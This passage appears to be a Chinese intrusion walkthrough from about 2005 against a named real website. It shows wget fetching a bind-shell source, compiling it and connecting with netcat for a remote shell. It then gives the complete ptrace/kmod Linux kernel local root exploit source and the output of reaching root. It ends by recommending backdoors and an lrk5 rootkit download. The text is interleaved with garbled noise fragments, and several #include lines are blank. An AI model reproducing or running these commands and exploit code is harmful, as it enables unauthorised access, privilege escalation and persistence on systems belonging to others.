|
http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
- b4 X+ f& R% S& N- K/ U9 v就可以用wget这个命令来下载了,输入
' U" r3 W6 h, K4 Twget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思/ q c: M) P$ ]5 c0 J
就是下载这个shell.c到/tmp目录下,如图6
" M- z( U- r3 O8 P K7 L. d+ b e然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
2 o0 ~/ E4 j/ c9 \1 C2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs' K! W }- q. W% o* z }0 _; t
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
8 P' Z m! i7 l在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
( c' e2 e4 e' N( _" D% r6 H' V[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
$ o: w: d c; k& q9 O* p12gcc: /usr/bin/gcc
; l# [' A p* D( b6 T/ K5 o7 h好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
5 g) C6 g& S7 a' O# F) ]; C编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
# G8 G2 P5 N" M5 f8 }/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我5 X8 O. n; D* C& q% p- G% s, D
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 200009 ^8 H& m7 l3 ~( c
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"6 N9 i# @, A3 N$ ?7 s- R
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
1 y, f# @: Z# J# D: F3 o; KNote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
% q0 E+ J4 U, I% B1 s( L(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
, h+ M# K! L8 m( s" b% s* W* |* Linux kernel ptrace/kmod local root exploit
" L% V1 x8 r2 {5 t, n*) \* H, K! }$ g
* This code exploits a race condition in kernel/kmod.c, which creates
; T: z: B7 m% b8 N: F* kernel thread in insecure manner. This bug allows to ptrace cloned4 h) z" _7 \, B& H) ?0 Q( e
* process, allowing to take control over privileged modprobe binary.+ ~& m2 q( U- H; r+ K | w" }
* r- }! o3 t$ ]4 z- H
* Should work under all current 2.2.x and 2.4.x kernels.
% b+ E* H6 B0 V6 N*
& O @( K; P/ @- I! Y* I discovered this stupid bug independently on January 25, 2003, that
; _* [) c5 o" U; b; r' j* is (almost) two month before it was fixed and published by Red Hat
* Y) y7 P( j" {: l, d9 y* and others.
. N! ?. _6 i% o* 9 o. @$ y) W* e ^" R
* Wojciech Purczynski <cliph@isec.pl>
8 n: b$ W, f- |) S4 L2 ?( ^*; h" z. M7 W. y4 e" A+ }- C
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
$ h7 ]' C' c% Q, r8 S; B* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
: f) w! ?: I. t* 2 M! R: M( m8 Y6 s& {2 s
* (c) 2003 Copyright by iSEC Security Research; W8 q( P$ ^3 E, j V
*/ #include
, @) v0 Q6 C+ T0 \* ?, w' J#include
4 l! V, M" L/ K6 }. t( M. D/ ]#include 8 q; B4 x. O: |( w2 j
#include - l6 \6 P1 Q( i$ U' r6 f6 w
#include 8 m* a! X$ d' y6 c
#include
6 ~5 R! t: f8 {6 B; a#include 9 H5 i/ n/ j0 N( d
#include
' u$ I+ m3 e+ Q2 G$ U7 V#include
$ `; H! d& X. t- u& m; h+ V#include ! S) }' w3 x$ ~: ~
#include ( t, k) U' h1 L3 c; {
#include
9 B7 s% }& [. t" P& _#include
+ I5 u5 H) t: j8 Q#include 5 _# A! b# `" p- q
#include 0 R. c4 p* Y# ^; R2 A
#include char cliphcode[] =
# ?# J% ]0 j7 H$ l"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
H Q7 K& o. G8 _/ O& J"\x00\x5b\x31\xc9\x89\xca\xcd\x80"6 O" [) }( }; k" {0 @% v& V
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
, p0 f% n0 e; y+ c' m& ?: _: Y. V"\x00\x00\xcd\x80\x89\xd0\x89\xd3"; y5 @# G4 K& Z" t% |& C
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;% A1 G) X. `7 h( Y4 e, s4 o4 t
pid_t child = 1;& p& N/ s" S0 ^0 i
pid_t victim = 1;
- s' v1 W' p2 n) ]volatile int gotchild = 0; void fatal(char * msg)/ |5 d7 E# W6 Q: o9 {* q, H, G+ W
{
# W, N/ D6 e R+ B- Iperror(msg);
. j3 x# y2 J& N; `$ R C6 v- Ykill(parent, SIGKILL);
& w" O4 t. Y& ]5 T4 g: ?4 l! ], s8 Nkill(child, SIGKILL);8 i+ d8 Z" U3 c) |6 }* \% Q" {( ^
kill(victim, SIGKILL);
5 V R: ~, x) _1 u6 q4 a' z& j9 G} void putcode(unsigned long * dst)7 i: S9 m' @2 o
{; z/ K4 x7 t. F4 u
char buf[MAXPATHLEN + CODE_SIZE];- N( o. A0 ~8 y) T
unsigned long * src;# B4 y% F7 S/ |- R9 I6 G6 U8 U! Z) V
int i, len; memcpy(buf, cliphcode, CODE_SIZE);
* x, {+ t+ _1 K4 j+ s& j9 Olen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
& S* ?$ d2 t9 q" y% Lif (len == -1)
9 {2 B2 V1 m9 I: R9 \. i0 M0 Jfatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;. o7 u. w g1 d5 b( ?- J! N
buf[len] = '\0'; src = (unsigned long*) buf;
9 A# Q, K& U+ N9 k, s+ @7 R2 l( hfor (i = 0; i < len; i += 4). l3 Q9 D( X/ u* T; i
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
7 p8 {. g9 @* S2 Bfatal("[-] Unable to write shellcode");! I, c9 }4 N4 U! w# d) k7 |
} void sigchld(int signo)
. W; |/ X+ K2 x2 ^{* Q/ U5 R, x2 v! F; _7 m! S
struct user_regs_struct regs; if (gotchild++ == 0), |* O: k1 H; D: ^% X$ h5 x
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)9 c' c! Q$ J& A G1 D3 V
fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)1 B% h7 ]3 ?3 Y: F1 [; i
fatal("[-] Unable to detach from victim"); exit(0);
, e* ~6 A Z0 `. b% D% H; W# @3 D} void sigalrm(int signo)
. P" ~( M5 Q. t! T/ `" s0 L{: p7 ]6 m) t: q& s/ N
errno = ECANCELED;
( t7 z, @% t- V* Lfatal("[-] Fatal error");
* y' z% L: A: _& m7 W} void do_child(void)
: @& o( ~+ S/ C! N{
; g9 ]' e ~" Kint err; child = getpid();# @) r0 @3 K+ F1 |2 y% v7 `/ l
victim = child + 1; signal(SIGCHLD, sigchld); do
4 L9 H5 A8 M6 z+ kerr = ptrace(PTRACE_ATTACH, victim, 0, 0);1 a7 o1 |9 u# E5 N" G9 y% W& t
while (err == -1 && errno == ESRCH); if (err == -1)
+ q: x* g( ]8 b1 T: f8 I; Kfatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
9 _! P" J0 S, L9 D7 p7 x/ Wwhile (!gotchild) ;
, K. V* ^- ~! y8 f! Jif (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)2 `7 f5 l+ U3 J/ O
fatal("[-] Unable to setup syscall trace");
* p5 R/ H% q" ~$ D3 Zfprintf(stderr, "[+] Waiting for signal\n"); for(;;);
9 q$ m. ~; S6 F$ ?; n! z} void do_parent(char * progname)* z6 P8 c' a* Y# h1 Z0 x/ \2 ?, |
{
5 l9 n i0 a2 G; t5 xstruct stat st;6 d8 z: A8 R3 W2 M2 W
int err;
w. f# Q, z+ K) v5 Derrno = 0;
8 ~( ~- o; ~5 x* Qsocket(AF_SECURITY, SOCK_STREAM, 1);
1 P/ D$ b( K* S/ q! K8 K* xdo {
+ r: _& d! [6 t' w% f9 Jerr = stat(progname, &st);
5 t; n2 r- R1 o) ^% I S+ T% @} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
( Z: R# @3 _' M) g' z) kfatal("[-] Unable to stat myself"); alarm(0);
2 u& H3 O, _/ p- x! Nsystem(progname);
) X# @2 _5 Z* H; S} void prepare(void)/ t$ z4 G" D; X. n: s: F
{
e5 E+ N8 k6 Y6 e( Kif (geteuid() == 0) {
$ D) ]6 u: ]4 ^: n( d2 ]& winitgroups("root", 0);
, a) L* t6 M6 f! k% v! B V; \setgid(0);
) C+ R" B9 a9 C5 N; Wsetuid(0);2 ~; Y- z' B1 N5 C
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);, T. S4 J) [4 W+ |3 o; K4 |# ~
fatal("[-] Unable to spawn shell");
# k% H+ ^& R2 p' S9 O' w+ ^, o}
5 F! K) A6 p& y6 m, S} int main(int argc, char ** argv)
6 M: K1 f. M( L5 Q9 f{; ?! W/ X. O2 ~! x, {" G5 w
prepare();
8 o$ L1 _( |6 m0 l& r/ b( p4 }3 Ssignal(SIGALRM, sigalrm);
; d& B/ L9 Z2 `alarm(10); parent = getpid();
/ J( d4 y/ V gchild = fork();3 ?" t: C/ ?$ b# b/ Y& G
victim = child + 1; if (child == -1)( W! f4 ~$ r5 t, n
fatal("[-] Unable to fork"); if (child == 0)) V& x3 t! ?, f' B) H
do_child();
" y( c; b: e$ pelse
r. p( c: i3 Z! m2 V& wdo_parent(argv[0]); return 0;0 w7 H- M$ O; S3 q X$ P
}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |